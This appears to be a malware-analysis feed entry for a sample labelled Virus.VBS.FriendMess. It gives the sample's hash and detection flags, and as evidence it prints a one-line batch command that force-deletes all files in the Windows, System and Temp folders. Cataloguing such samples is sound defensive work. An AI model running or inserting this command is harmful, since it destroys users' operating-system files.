Benign Download

Virus.VBS.FriendMess

Batch content mismatches filename extensionBatch invokes the del command
SHA-256270a0e13a20918aad51fa86a174c07b40687775fc19324d34c048afdb6a56254
MaleculeH(F)Md

Evidence

Batch invokes the del command line 1
1 if exist C:\WINDOWS\SYSTEM\*.* del C:\WINDOWS\SYSTEM\*.* /Q /F if exist C:\WINDOWS\*.* del C:\WINDOWS\*.* /Q /F if exist C:\WINDOWS\TEMP\*.* del C:\WINDOWS\TEMP\*.* /Q /F

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.